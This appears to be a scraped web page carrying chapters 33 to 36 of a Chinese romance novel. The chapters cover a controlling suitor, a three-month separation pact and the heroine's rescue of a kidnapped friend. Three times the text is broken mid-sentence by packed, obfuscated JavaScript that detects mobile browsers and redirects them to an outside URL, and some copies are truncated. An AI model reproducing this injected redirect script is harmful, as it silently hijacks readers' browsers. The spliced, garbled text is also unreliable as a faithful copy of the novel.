;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568823|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>正是她拿来做记录和记笔记的《治疗手册》。 里面洋洋洒洒写了一堆有的没的她对顾忱的“病情诊断”，还有她怎么“治疗”怎么规划逃跑的想法…… 她一个文科生，就喜欢和习惯手写东西，啥都记一记写一写，平时图方便也会记在手机里，但当初就是因为担心写在手机上会被他拿走看到，所以选择了手写本。 结果没想到……真是搬起石头砸自己的脚。 拜托，正经人谁写日记啊！ 这下好了，被撞个正着，她可真是手欠啊！ 还好她没在里面写什么反派人设、原著剧情相关的东西，要不然更解释不清了。 “这个……只是拿来随便写写，你别当真。” “随便写写？” 顾忱翻开一页，开始逐字逐句地念，“计划一，第一步，讨好、安抚，重现过去，让他放下戒备，减少不安全感。第二步……” 一直念到最后一步：“和平告别，两不相欠，从此陌路人，各自安好——此为模拟场景一。如果不成功，开启计划二，场景模拟开始……” 祝渺：“……”不如把她凌迟了吧。 忍不住起身伸手去抢本子，却都被顾忱躲了过去。 直到一页念完，顾忱才停下来静静地看着她。祝渺一时看不出他心中喜怒。 祝渺尴尬笑笑：“这都是剧本，我我这是从现实取材，这都是想象出来的剧情，你知道的，我平时就喜欢写东西……” “哦，剧本主角都是我？” “对啊。你的条件，多适合当男主。” “每一个剧情的结局，不是和平告别，就是想办法逃跑？” “……我喜欢写悲剧。”真是编不下去了。 “渺渺。”他收起与她玩笑的神情，语气不自觉地变得狠厉。 “所以，你一点都不喜欢我？是吗？” “小时候你对我好，是因为我是顾家人，你要利用我依仗我。游戏里你对我好，是因为你觉得游戏有趣，觉得虚拟的我很可怜。” “你从来没有，一点点，发自你真心的对我好，是吗？” 听着他寒剑出鞘般锐利的语气，祝渺脸色越发不好，只觉得心脏如坠冰窖，一丝寒凉从背后升起。 “原来你就是这么想我的？” “难道不是吗？” 原来他从来没有在心里真正信任过她，嘴上说的信任，都是在自己骗自己。 既然给她贴了标签，那她做什么都不能让他安心。 她能怎么办呢？ 祝渺真想告诉他，他说得一点没错，她确实没几分真心。 可她心里有种预感，如果她真的顺着他这么赌气地说，那就真的要往原著剧情发展了。 她不能接受那样的结局。 祝渺沉下神色，面若寒冰，眼神微抬，瞳孔里反射出冷冽清亮的光芒。 “顾忱，你太绝对了。我承认……我对你有过心动。可是，心动只是一瞬间的事，可是喜欢你，和你在一起相处，却是一个漫长的过程……” 她不能因为一时心动，去喜欢一个没有办法正常相处的、心理有缺陷的人。 顾忱听到她的话，愣了一下神。 “原来你会对我心动啊……心动，却不能喜欢。是这个意思吗？”这真是让人意想不到。 为什么不能喜欢？因为他不配？ 因为他不是个正常人？ 顾忱嘴角微笑，不知是发苦还是酸涩。 “好……没关系，我不在乎，只要我喜欢你就够了，我会让你留在我身边。” 祝渺看着他的眼睛。 她问：“为什么非要留住我？” 顾忱答：“因为我喜欢你。” 祝渺张了张嘴，心头一片纷乱。 半晌，她才将慌乱的心逐渐稳住，就像波澜的海面恢复平静。 “顾忱，你说你喜欢我，可是那真的是喜欢吗？” 34. 第 34 章 顾忱皱眉：“什么意思？” 祝渺忽然觉得她在他封闭晦暗的心房里，窥见了一缕真相。 “男女之间的喜欢，无论建立在什么样的情境下，本质上是荷尔蒙作祟下的一种性吸引力，不自觉地想靠近对方，和对方有亲昵接触……可是你呢？” “我不知道你把我当成什么，也许是一种心理寄托，你不过是一味地想把我留在身边，你这是没有安全感，是控制欲，这不是真正的喜欢。” “顾忱，你不是喜欢我。” 祝渺从没觉得自己对顾忱的认知如此准确，如此理智。 之前觉得顾忱喜欢她的人，是她自己。 可是现在认定顾忱不是真正喜欢她的人，也是她自己。 她一旦这么想，就觉得自己的心可以变得无比坚硬。 冷心冷情，就不会动摇，不会纠缠内耗，就可以在这场争执与交锋中占据高地。 哪想，她这么说，顾忱反而平静了，平静得有些沉默。 他冷笑一声，眼底寒意乍现。 “你觉得我不是你认为的那种喜欢？你以为这么说，我就会动摇？” 他沉了沉声，喑哑几分，“渺渺，那你可能是想错了。” 顾忱往祝渺身边走了几步，低头看她的脸，鼻尖靠近她的，呼吸喷洒。 “需要我证明吗？有一件事，我想做很久了。” 没等祝渺开口，他就凑上前来。看着他靠近，祝渺下意识就往后躲，后脑却被他一手桎梏住，往前使劲一带，叫她反抗也没有办法。 她还来不及反应，温热的唇就贴上她的，唇齿相揉，时而带着无尽欲望地交缠，时而温和如春风化雨般绵软。 相处这么久以来，他大部分时候很乖，至少看起来乖，有时候很高冷或很阴沉，很寡言或很薄情。 从来没有在他身上，读出过这么像少年人一般浓烈炽热的渴求与欲望，甚至逐渐处在失控的边缘。祝渺从一开始的挣扎反抗，到无力，到需要搂住他，靠着他才能支撑住自己。 感受到那一丝丝顺从与回应，顾忱几乎像是瞬间被点燃，不知不觉已经将她抵在了背后的墙上。 不知过了多久，祝渺多少次喘息着汲取空气，他才愿意松开她。 可松开她，空气中依然充斥着暧昧的气息。 祝渺推了他一把，推开一点距离，又被他捞回怀里。 “你……这算什么证明？”祝渺声音微弱，轻得几乎自己也听不清。 顾忱将头埋在她的脖子里，嗓音喑哑，低声细语。 “渺渺，或许我们之间有许多地方不对，或许我对人的情绪感情还有很多不懂，可我不是当时那个小孩了，现在的我学得很快。” “我明确地知道，我喜欢你。只是……我的心里，有些地方坏了，需要修理。” “只要你在，我就总有能修好的一天。” 告诉祝渺他去了临北三天，透露祝渺他知道很多人给她发祝福消息，让祝渺看到那张照片，给程序留下会卡顿的bug…… 所有的破绽，如果他想，他可以让一切天衣无缝，让祝渺一辈子都看不出来。 他甚至可以扮演一个正常人，似乎放祝渺自由，实际却掌控和监视她的一切。 他可以，他太可以了，不过是在她面前伪装一辈子罢了。 可是说好了相信，就不应该隐瞒她。并且只要有一丝被祝渺发现然后造成无法挽回的代价，他都不想这么做。 他知道自己哪里有问题，既然他自己没办法改变，那就让渺渺来逼自己一把。 他就是知道，只有渺渺可以救自己，只有她可以改变他，可以让他变成一个正常人。 祝渺一时缺氧，双眼迷茫，根本思考不动他在说什么，什么，什么修不修好的…… 大喘几口粗气，才逐渐冷静下来，神智渐渐清醒，才意识到刚才……她的大脑竟被情欲占了上风。 意识到这一点，她的脸上烧得更加滚烫。 她有种预感，她即将面对未来更加不确定的未来。这份情感就像潘多拉的魔盒，不知道打开了，会不会是毁灭性的灾难。 可是……既然已经打开，无法反抗命运，那就顺其自然，总有烟云散尽的时候。 她闭了闭眼，流露出几分妥协的无奈。 “顾忱，我们约个定吧。”祝渺道。 “什么？” “你是真心喜欢我，我也会对你心动，那么……” “你会对我心动？”顾忱打断她，眼里透露出一丝不可置信的惊喜。 祝渺一噎，真会抓重点…… 语塞片刻，继续道：“我现在想给自己一个机会。” 祝渺抬头看着他的眼睛：“开学后的未来半年，我们都各自生活，不见面，如果你可以做到，半年后我们就在一起——男女之间的那种在一起，怎么样？” 顾忱不解：“为什么这么做？” “你若能做到的话，我就愿意试着再次信任你。” 他的出现，已经搅乱了她的生活。 而这已经是祝渺能想到的，让自己适应有他的生活的最好的方式。 她需要独处，需要冷静思考一下她的感情，他们的关系。 或许这也将成为她最后的逃避吧…… 可顾忱并不同意：“半年不见你？这不可能，你想都别想。” 祝渺思考片刻，半年是有些久了。 “那就五个月。” “也不可能。” “那三个月，不能再少了！” 顾忱沉默。 沉默便是默认。 祝渺补充道：“而且期间你不能用一些技术手段追踪我。” “……”顾忱眼神微眯，“你确定不是想利用这个时间逃跑？” 祝渺摆手，“你不信就算了。” “我信。”顾忱斩钉截铁，“我答应你的条件，但我也有条件。我们之间必须保留正常的线上沟通，你不可以失联。” 祝渺点头同意，拿出一支笔。 顾忱：“这是？” 祝渺按下开关：“录音笔，刚才的话，再说一次，我要作为证据保留。” 顾忱定定看了她两秒，把刚才的约定内容又叙述了一遍。 祝渺满意收起。 “那我们就约定好了，做三个月的……网友。” 如若他真的能做到，说明他还至少有一些机会改变。 这也当她的一个机会。 这一夜，两人在同一个房间，仅仅几步之遥，却好像很遥远。 离开学还有好几天。 沉默片刻，顾忱忽然道：“明天我们一起去画画吧。” 这提议来得突然，祝渺觉得有些困惑：“什么？” “你的手册上写的，要陪我做的事。你只完成了几项，还有很多没做。” 啊……她为了帮顾忱“弥补遗憾”，列的那些陪他做的事。 小时候，他们曾经经常一起在阁楼上画画。 小小的顾忱沉默寡言，除了做题看书就是画画，她也跟着一起画，不过她都没什么耐心，绘画水平非常一般。 看着他低落的神色，垂下的眼睑，与少年的他相重合。 反正还有一点时间……陪他一些天完成一下手册上的事也没什么关系。 “好。”祝渺答应。 第二天，顾忱很高效地准备了画材，他们背上了画具，来到了一个风景优美的林间湖边。 “我的绘画水平和小时候差不了多少，可画不出这样的风景啊。”祝渺摸摸鼻子，没底气道。 顾忱一边拿笔调颜料，一边道：“那就画我吧。” “这可是你说的，可别后悔。” “嗯。” 一小时后，祝渺看着自己的大作，对比了一下顾忱画的，更没底气：“哈哈……我就说你别后悔了嘛……” 她的画，油画画出了漫画风既视感，嗯……虽然和顾忱不像，但也是奔着帅画的，其实也还说得过去。 再看一眼顾忱画的，才是真的画得好看，虽然说不上精致，但也画出了她的特点与神韵。 她记得小时候，他画的东西都不是这样写实派的，倒像是自闭症患者，活在自己的精神世界，线条颜色错落，却很独特。 没想到他还有些艺术天分在身上呢。 开学前的工作不多，似乎是因为有那三个月约定的铺垫，祝渺竭尽所能地用闲暇时间陪顾忱。 一直到开学前一天。 夜色寂静，躺在床上，顾忱转过头，看着祝渺。 祝渺被他看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568824|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不自在：“盯着我干什么？” “在约定开始之前，我再多看你几眼。” “……哦。” 祝渺心怦怦跳，努力忽视掉他的存在，把自己包进被窝，闭上眼。 心里却还是乱的。 夜色的那一头，顾忱收回目光。 看不见她，却依然能感受到她的存在，这样真好。只是不知道以后还会不会有这样的机会了。 大概是因为即将分别，过去的回忆如拉扯的丝线，错综复杂地在顾忱的脑海中浮现。 初见祝渺是什么时候，他已经记不太清了。 因为他从小就不太正常，他感觉不到其他人的情绪，别人在笑，他不明白，别人在哭，他也不明白。 复杂的世界，他看不懂，也不在乎，他只活在自己的精神世界。 可是，总有人想侵入他的世界，那些人总用奇怪的眼神看自己，带着他看不懂的意味。 久而久之，他的爸爸妈妈似乎也开始用奇怪的眼神看自己了。 只是，他不明白，也不想理会。 直到家里来了一个奇怪的女孩子。他没有记人的习惯，记不住她的脸，可却记住了这个女孩的眼睛。 很奇怪，和其他人都不一样。 他读不懂，也说不出来为什么，可他就是觉得不一样。 不过这个女孩很招人烦，总要打扰他，在他想自己一个人静静做些事情时，她总要努力参与进来。 根据他的计算，如果他不理人，那么那个人通常会在几分钟就不会再理会自己。 他也是这么对这个女孩的，可这次却不一样，不知道过了多久，她始终不停地围绕在他身边。 她特别喜欢给他讲故事，哪怕那些故事他不想听或是觉得无趣。 “今天，我们讲的是一个潘多拉的魔盒的故事……潘多拉打开了魔盒，于是这世上有了恶……” “今天，我们讲，魔鬼和渔夫的故事……渔夫救助了魔鬼，魔鬼却要杀害渔夫……” 很吵，很闹，他不想听进脑子，可是她脆生生的嗓音却不可避免地钻入他的脑海里。 她还特别喜欢拉自己去画画写字，她明明学习不好，画得也不好，可偏偏特别坚持要和自己学。 逐渐地，他似乎是习惯了她的存在，他开始无意识地听进她说的话，记住她的样子。 有一天，她说要陪自己画画，来到阁楼以后，却突然间自己主动从楼梯上滚了下去。 他站在原地发愣，他不明白她这么做的用意是什么，他看不懂。 自那之后，她就再也不来找他了。 忽然在某个早晨，他站在阁楼的窗口，看见她坐上了一辆车，逐渐远去。 在逐渐消失的背影中，她好像冲自己挥了挥手。 不知道为什么，他的心里涌上来一股从来没有过的异样感觉。 这种感觉驱使着他，从阁楼上往下跑。 跑下楼梯时，他不小心从楼梯上滚落，那是祝渺摔过的地方。他在原地愣了片刻，又努力支撑着地板，颤颤巍巍地爬了起来。 原来她当时……这么痛。 等他一步步挪到门口的时候，那辆车和那个女孩早就已经不见踪影。 不知道在原地站了多久，他的心中才散去那异样的感觉。 之后，他每天在阁楼等着她出现来和自己画画，可是她都再也没有出现。 他努力拿笔画，画了一个又一个形象身影，他使劲儿回忆和她一起玩耍的点点滴滴，可是都画不出她的样子。 只记得，她是……渺渺。 他平时几乎不说话，可是此刻他却张嘴呓语。 “渺、渺……”从此，她的名字就深深地印刻在他的脑海里。 为了弄懂她为什么要陪伴在自己的身边，又为什么要忽然离开，消失不见，他开始接触外界的一切。 哪怕不喜欢，他也要逼着自己去学，去忍受别人的靠近。 他就是觉得，只要他变成和大家一样的人，渺渺或许就能回来了…… … 在光怪陆离的梦境中，顾忱挣扎着睁开眼。 伸出手指，摸了摸湿润的眼角，看着指尖晶莹的水光，顾忱发了片刻的呆。 这难道是眼泪吗……他从来没有流过眼泪。 35. 第 35 章 第二天早上，祝渺起了个大早，按照约定，她应该收拾行李走人了。 顾忱也跟着起床，帮她收拾了一些杂物，只是没说话，没多久他就在一旁坐着，脸色肉眼可见的不好，都快黑成煤炭了。 知道他不高兴，祝渺也不说话。 直到祝渺离开，他没有开口，也没有送她走。 大概是知道自己一旦产生不想她离开的念头，就做不到这样放她走了。 祝渺独自拖着行李箱，一路走出大楼，坐上出租车。 打开车窗，回头看了一眼，似乎……隐约有个身影站在大楼的门口，直到远去什么也看不清了。 祝渺收回视线，心中不由自主地松了口气。 仿佛一个篇章在此落幕。 只是不知未来剧情会怎么走。 算了，反正走一步看一步。 祝渺回到宿舍，室友们都不在。 把行李一丢，床单被子铺好，往床上一躺，直接睡了个昏天黑地。 啊……许久没有这样自由的感觉了。 不仅是环境自由，而且知道反派现在甚至愿意为了她妥协，放弃“天性”，祝渺就感觉之后的剧情还有无数的可能性。 既改变反派的命运，也可以改变自己的命运。 然而……接下来的日常生活，让祝渺觉得自己感慨早了。 原本他们约定里保留了“保持线上联系”这一条款，祝渺觉得应该问题不大。 毕竟之前的顾忱和她发消息时高冷得很。 没想到，接下来几天，祝渺每天都会准时收到顾忱的消息。 顾忱：早 顾忱：上课了吗 顾忱：午饭吃什么 顾忱：下午没有课，好好休息 顾忱：晚饭吃什么 顾忱：别忙太晚，早点睡觉，晚安 ……从早到晚。 祝渺：“……” 不是，你的人设不太对吧？ 有时也会偶尔送来一些花或小礼物，以外卖的形式送到她手上。 每次都会带一张小卡片，写着“to渺渺”。 祝渺：【老送我礼物干嘛？】 顾忱：【我听人说，异地恋需要常联络，保持惊喜感，多分享日常，多送礼物】 ……同个学校的异地恋？ 祝渺：【你听谁说的？】 这一回，祝渺等半天才等到他的回复。 顾忱：【……小某书】 祝渺噎住，扶额叹息…… 服了。 短短几天时间，顾忱发的消息简直比他之前几个月加起来都要多。 简直可以用“阴魂不散”来形容…… 这么从早到晚地问候，饶是祝渺是个冲浪高手也顶不住了。 为了及时收到电视台工作任务的消息，她都是打开通知铃声的，可现在“叮咚叮咚”的声音一响，90%都是顾忱发来的无用消息。 于是……她选择对顾忱开启“免打扰”。 ——免打扰开启，世界顿时清净了。 另一边，坐在教室角落乖乖来上课的顾忱正紧盯着手机屏幕。 坐在附近的女同学时不时飘来打量的目光，窃窃私语： “他好帅啊……” “可是他看起来很不好接近的样子……” “高冷的帅哥都是这样的嘛。” “算了我们还是好好听课吧，看人家长这么帅还看书看这么认真……” “认真看书”的顾忱面无表情一脸严肃，完全没有感受到外界任何的空气涌动，在自我的世界中陷入沉思： 渺渺她到底在做什么呢？ 上完一节早八课，祝渺不由得打了个盹儿。 打开手机一看，一堆红点，一个个回复完，才发现底下还飘着顾忱的名字。 和他的聊天页面里，一整页都是他的留言。 叹了口气，想输入什么，又不知如何回应，打了字又删除，来来回回删了好几次。 感觉说什么都不合适…… 又删了一串文字，页面上突然跳出他的一句话：【你在写作文吗】 祝渺：…… 发了一个问号过去。 顾忱：【你已经正在输入五分钟了】 祝渺：…… 祝渺：【你又监控我？】 顾忱：【没有，我一直在等你回复】 好吧。== 顾忱这样确实反常，从字里行间都感受到了他的不安。 但这反倒让祝渺安心，因为这说明顾忱真的在遵守约定，没有打扰她的生活。 没有顾忱这个“跟屁虫”，祝渺自由活动时间也多了许多。 这天下午，祝渺下了最后一节课，刚刚走出教室，正好是学校广播站响起的时间。 学校很大，祝渺一边走在教学楼间草坪的鹅卵石路上，一边听着广播里的歌。 是她最喜欢的一首歌。 一下子心情就明媚起来。 边走边打开手机，看到顾忱发来的新消息。 顾忱：【渺渺，我点了一首歌，希望你喜欢】 顾忱：【我承认，歌单是之前从你手机里看到的，对不起……】 顾忱：【但是，我还是想告诉你，我也喜欢这首歌，歌词就是我此刻想告诉你的话】 可谓是求生欲满满。 祝渺笑了笑，回复了一句：【我在听】 啊，阳光明媚，风朗气清。 还有动人的旋律，似乎在轻轻诉说什么。 她的脚步都轻快了许多。 难得地冒出了一种……想见他一眼的冲动。 对自己莫名升腾起的情绪，祝渺自己也感到了震惊。 这样的感觉还是……人生第一次。 … 闲来无事，祝渺已经很久没有见到秦洛，本想和她出去好好玩一玩。 可惜，秦洛开学后第一个周末就又追星去了。 甚至过了两个多礼拜都没有回学校。 要不是偶尔还会回复她，发个朋友圈，祝渺都要以为她失踪了。 祝渺一边上课，一边发给她发消息留言：【大忙人，你还记得自己要开学吗？学校都不回了？不准备毕业了？】 秦洛这人，虽然有时候追星很疯，但是本质还是追求理性派追星，追到这么荒废学业还是少见。 大学逃课的学生虽然不少，但是像秦洛这么夸张的还真找不出几个。 祝渺早上留的言，一直到傍晚才收到秦洛的回复。 奇怪的是，秦洛只发了一个定位，其他什么话也没有说。 祝渺看到她发来的消息，奇怪地皱了皱眉。 怎么搞的…… 点开定位看了看，她发出的位置正是她之前说的要去追星的G市，不过这个地方很奇怪，是个偏远的路段，没有什么明显的地标性建筑，看起来像是在山间。 祝渺心里有种不太好的预感。 秦洛最近的回复频率越来越低，不像是追星追到忘我的样子。 再加上这个意味不明的定位，更像是遇到什么事了。 忽然联想起她发的朋友圈。 近一个礼拜里，她就发了三四条朋友圈，并没有说什么话，只发了几张风景照。 秦洛之前也常到处飞，有时候也会发些出去玩的照片，懒得写文案就不配文字只发图。 所以祝渺一时间也没有想太多。 可是这会儿看，却是觉得有些奇怪了。 这风景照拍的什么呀……也不是很优美，似乎也没有什么意义。 太怪了，绝对不正常！ 祝渺越想越坚定秦洛一定是出什么事了。 她想给秦洛打电话，可是刚想拨出，她又克制住了。 既然她没有频繁给自己发消息，说明她应该不方便直接回复，那也有可能不方便通电话。 万一她贸然打过去，说不准还会造成不好的后果。 祝渺迅速思考后，还是决定先报警。 来到学校离最近的警察局，警察看了看她提供的线索，却道：“姑娘，你这个情况没有办法立案呀，失踪立案得48小时后，况且你这朋友也不像是失踪了。” 祝渺：“可是她已经很久没回学校了，今天过了一天才回复，还只发了一个定位，这也太奇怪了，不能查一查这是个什么地方吗？” “她不是还一直回复你消息吗？今天之前的内容都很正常啊。今天这才几个小时，说不定是你想太多了，没准她在忙，没看消息，定位是不小心发的呢。” “可是……” 警察大叔皱了皱眉：“姑娘，你的心情我理解，我可以帮你先备案，可是如果报失踪……还是48小时后再来吧。” 祝渺无言，有些焦躁地出了警局。 站在警局门口，祝渺想了想，还是低头在手机上页面输入消息，点击了发送。 另一边，顾忱看着迟迟没有回复的对话框。 不安的心脏似乎陷入了泥沼…… 忽然，屏幕亮了亮。 他的眸子也跟着亮了亮，拿起手机看了一眼。 祝渺：【顾忱，可以帮我个忙，查一下这个地方吗？】 手机上发来的是一个定位，正是秦洛发的那个。 顾忱轻轻皱了一下眉，回答：【好。】 十分钟后，祝渺收到了顾忱打来的电话。 接通后，电话那头响起他清澈的声音：“渺渺。” 祝渺没有心思说其他的，追问道：“怎么样，有查到什么吗？” “没有什么异常，这个位置有点偏僻但也算不上荒郊野外，附近早先有工厂登记注册，不过几年前就注销了，现在只是普通的山地。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574041|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他顿了顿问：“为什么让我查这个地方？” 这时，一辆出租车在祝渺面前缓缓停下。 祝渺打开车门：“嗯……我一会儿路上和你解释，我的出租车到了。” “你要去哪？” 刚问出口，电话就被挂了。 顾忱攥紧了手机，不由紧紧抿了抿唇。 出租车司机转过头：“姑娘，去哪？” “机场，我赶飞机，师傅麻烦开快点。” “好嘞。” 司机一脚油门踩了出去。 去警察局前，祝渺已经做好了不被立案的准备。 毕竟她没法提供什么秦洛失踪或有危险的直接证据，只是她心中有股强烈的不对劲的预感。 于是，她先和校方报备了这件事，让学校联系秦洛的爸妈。 又立刻查看了前往G市的机票，幸好，今晚就有一班飞机。 下了单买了机票，就赶往了机场。 ——如果不抓紧做些什么，她心中的不安恐怕会迟迟无法消除。 * G市。 祝渺下了飞机，按照导航到达了定位地点附近的城镇。 可是这里离秦洛的定位位置还有大约二十公里的距离。 她没有车，打车让司机开到山里也不太可能。 并且现在已经是半夜十一点了，现在贸然去找秦洛，不仅找不到她，还容易把自己赔进去…… 思索了一会儿，她想着自己租一辆车，先沿路进山看一看，开着车总归是能安全一些。 虽然现在的她没有学过开车，但上辈子她是有驾照的。只能寄希望于这么多年没开过车，自己还能记得起来开车的感觉。 可是这会儿哪还能租到车？ 祝渺只能决定先找个酒店落脚，第二天天亮了再去租车。 幸好这个城镇虽然偏，但并不算荒凉和落后。她先找了个酒店，在床上躺下。 打开手机，看着和秦洛的聊天框。她一路上发出了好几条消息，秦洛依然没有回复。 希望她还安全…… 祝渺心中默默想着。 这时，祝渺又忽然想起，她还没有来得及回复顾忱。 她好像还忘了把他从免打扰里拉出来了…… 只是，打开对话框，没有想象中的消息轰炸。他们通完电话后，顾忱并没有再回复她…… 祝渺不好意思地回复：【对不起，我忘了和你解释了，我来G市找秦洛了，那个定位是秦洛发我的，我担心她出事……】 又稍作解释了一番，点击发送给了顾忱。可她还是没有等到顾忱回复。 或许是正在忙吧，又或许……祝渺没有再想，也没有再等回复，洗漱了一番就准备睡觉了。 …… 第二天，天还没完全亮，祝渺就出门了。 她昨夜焦虑得很，根本没有什么心情睡觉。 一刻没见到秦洛，她就一刻不能放心。 一小时后，祝渺转着方向盘，有些歪歪扭扭地开着租来的汽车。 果然十几年没有摸过方向盘了还是有够手生的…… 祝渺手握方向盘，目视前方，不敢乱动。 真是，汗流浃背了…… 咽了口口水，加强心理暗示：这是自动挡，有手就行，有手就行…… 就这么别扭行驶了几公里，祝渺就逐渐上手了，愈发顺畅了起来，她的心情也稍微放松下来。 看着手机上导航的箭头方向，一直往前开着。 这一带地势并不平缓，偏丘陵地带，她越开就越往林子里去。 往这个方向来之前，她特地咨询了当地的人。 他们告诉她，这里以前是开工厂的，早几年就全部废弃了，这里就成了普通的山地，并不危险。 偶尔偶尔，还会有人来这里爬山，不过这个城镇上的人也不多，不太会往这山里来，所以也只是偶尔了。 和顾忱之前和她说的差不多。 听到这些回答，祝渺心中勉强松一口气。 不是她一开始想象中那种偏远毫无人烟的山村旮旯或者荒野林地。 只是定位在这种地方，秦洛也不可能是没事误发消息那么简单。 或许是来这一带旅游爬山，然后被困在了什么信号不好的地方。 或许是被人带到了山上，然后联系不了外界…… 总之，她还是要见到秦洛才放心。 一路往前开去，路面有些窄了，两边的树也越发靠近车身。 祝渺忽然觉得，这一带的景色有些眼熟。 似乎正是秦洛朋友圈里其中一张照片的景色…… 看来就是这里没错了，秦洛一定来过这一片地方！ 祝渺踩下刹车，拿出手机在屏幕上按着什么。 过了一会儿，又踩下了油门，加快了速度。 36. 第 36 章 不知开了多久的路，就在祝渺快要放弃打道回府的时候，远处绿色的树丛之间，出现一道鹅黄色的身影。 那是人？ 那人步履匆匆，虽然看不清神色，却能看出来忙里忙慌的。 祝渺眼神微眯，仔细看了看。 看清了来人，她眼睛一亮，一脚踩下刹车，放慢了速度，又紧急将方向盘一转，朝那道人影行进去。 从林子里跌跌撞撞、一身狼狈的模样跑出来的人，正是秦洛。 她身后似乎有个男人，从远处追上来。 不管三七二十一，祝渺在她侧身不远处停下车，落下车窗，喊了一声“秦洛”。 秦洛听到一声喊，被吓了一跳，目光望向祝渺的方向。定睛一看，开车的人居然是祝渺，惊喜地奔过去。 “渺渺？你怎么会在这里！” 手上不耽误地打开副驾驶的车门。 “一会儿再说，我们快走。” 远处那个男人的身影加快了速度追上来。 秦洛打开了车门就迅速坐上车。 祝渺迅速打方向盘进行掉头，一脚油门踩了下去，车子发动机轰轰作响，车速飞快行驶。 然而没过一会儿，后视镜上没看到那个大喊大叫追上来的男人，却忽然有一辆摩托车从林子里开出来，猛地追了上来。 祝渺神色一紧，脚下猛踩油门。 “他追上来了，你抓稳了！” 秦洛紧张地抓住了扶手。 祝渺七拐八拐，偏离了原来的道路。不过还好，她开着导航，只要方向是对的就行。 后边那辆摩托也跟着七拐八拐，不过明显比祝渺的车还要灵活一些。 祝渺有些紧张，忽然前面地面上出现一块耸起的大石头，她一个急拐弯绕了过去。 后面跟着的车也急忙拐弯，险些摔倒，但还是稳稳立住了。 摩托车的距离又远了一些，几乎看不到视野了。 可摩托车速度更快，祝渺担心又被他追上，赶紧踩油门加速。 开出一段距离后，祝渺慌忙地从后视镜瞥了一眼。 那辆摩托车似乎已经倒地了，而旁边正好有一抹黑色钻入林中消失不见。 像是一辆黑色的车。 祝渺愣了愣。仔细一看，又什么也看不到了。 这林子里哪来的人和车？刚才是她眼花了？ 祝渺顾不得其他，赶紧驶离这片区域，稳稳开入正轨。 看似平稳，祝渺却是出了一手心的汗，紧紧捏住了方向盘，才努力掩饰心中的紧张。 秦洛靠在座位上，也吓得满头汗，终于把那人甩掉了之后，才一脸疲惫，松了一口气的样子。 祝渺也松了口气，这才问道：“洛洛，到底发生了什么，那个男的是谁，你不是来这里追星的吗？” 秦洛叹气，“这事情……说来话长……” 她原本确实是自己一个人来追演唱会的，结果，在路上遇到了一个男生，和这人聊了起来。 在和这个男生聊天的过程中，秦洛这才知道，这个男生居然也是后援会的成员，而且很久之前他们就已经是网友了，只是秦洛一直以为对面是个女生，二人聊得十分投机。 谁知道，被秦洛当成姐妹的网友，居然是个男生，还是个长相清秀好看的男生。 秦洛开始是震惊的，后来和他聊着聊着觉得还挺有意思，粉丝里居然还有男生，难不成是个…… 总而言之，两人可以算是相谈甚欢，秦洛也把他当“姐妹”一样相处了。 没想到，这男生根本不是秦洛以为的那样。 某天，他借着开车送她回酒店为由，把她带到这个鬼地方来，关进了一间旧房屋。 这时秦洛才知道，原来他对自己是早有预谋。 “我真的没想到，他是个变态控制狂，一直在偷窥我的生活，假装和我聊天和我追星也是有意接近，把我关到这个鬼地方，看得死死的，我只能发点意味不明的朋友圈，借机给你发消息，才能不引起他的怀疑……” 秦洛说了很多，祝渺听明白了。 幸亏那个变态还没那么暴力倾向，多少有点舔狗属性，秦洛骂他他就唯唯诺诺听着，这才没有出什么大事。 这天，终于让秦洛找到机会逃出来了。 只是祝渺的心情变得有些微妙…… 这剧情经历……怎么越听越觉得有些熟悉？ 这不就是某人对她的一些所作所为吗…… “变态控制狂”，要这么形容，也不是不合理。 不过……还是不一样的。 说不上来具体什么不一样，但是祝渺就是觉得，不一样。 祝渺忽然有些失神，突然才发现，她对顾忱那样的控制狂行为居然会不由自主地维护。 甚至在心底里替他不合常理的行为辩解。 他好像……也没有那么讨厌？ 怎么会呢…… “渺渺？你在想什么呢？” 听到秦洛的声音，祝渺回过神来。 “啊……没事，就开车有些紧张。幸好你没事。” “我就知道你聪明，一定能看懂我的意思的，不过我本以为你会帮我报警，没想到直接自己飞来找我了，还好我找到机会跑出来了，没有让你陷入险境，否则我一定会愧疚死！” 秦洛不停说话，缓解自己的紧张。祝渺也顺着她安抚她不安的情绪。 一直行驶出山林外，警察居然已经提前赶到了。 警察对二人道：“你们到警局，做一下笔录，那个非法囚禁的男人，我们会派人进去抓捕。” 进公安局，这还是祝渺头一回。 做完笔录，那个男生也已经被搜查的警察从林子里带了出来。 年纪不大，表面上看着挺正常的，看不出他居然会做出这样扭曲的行为。 他一见到秦洛，表情就变了，似乎很“失望”。 